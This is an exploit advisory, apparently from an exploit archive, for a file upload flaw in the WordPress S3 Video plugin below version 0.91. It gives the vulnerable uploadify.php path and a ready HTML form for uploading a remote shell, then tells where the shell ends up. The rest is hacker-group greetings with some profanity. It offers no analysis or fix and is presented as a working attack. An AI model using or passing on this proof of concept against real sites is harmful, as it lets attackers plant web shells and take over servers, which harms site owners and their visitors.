WordPress S3 Video Remote Shell Upload
Posted on 11 December 2015
################################################################################################## #Exploit Title : Wordpress S3 Video Plugin file upload #Author : Manish Kishan Tanwar AKA error1046 #Vendor Link : http://plugins.svn.wordpress.org/s3-video/tags/0.91/ # Affected Version: below version 0.91 #Date : 9/12/2015 #Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi #Discovered At : Indishell Lab ################################################################################################## //////////////////////// /// Overview: //////////////////////// The S3 Video Plugin allows the embedding of video media stored on Amazon's S3 storage into a WordPress blog post or page. //////////////// /// POC //// /////////////// http://www.taget.com/wp-content/plugins/s3-video/includes/uploadify.php <form method=post action="http://www.taget.com/wp-content/plugins/s3-video/includes/uploadify.php" enctype="multipart/form-data"> <input type=file name=Filedata> <input type=submit name=submit> shell location:- target.com/shell.php --==[[ Greetz To ]]==-- ############################################################################################ #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, Silent poison India #Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,Hackuin,Alicks,mike waals, #cyber gladiator,Cyber Ace,Golden boy INDIA,Gujjar PCP,Ketan Singh,AR AR,saad abbasi #Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash, Rafay baloch ############################################################################################# --==[[Love to]]==-- # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi, #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik) --==[[ Special Fuck goes to ]]==-- <3 suriya Cyber Tyson <3
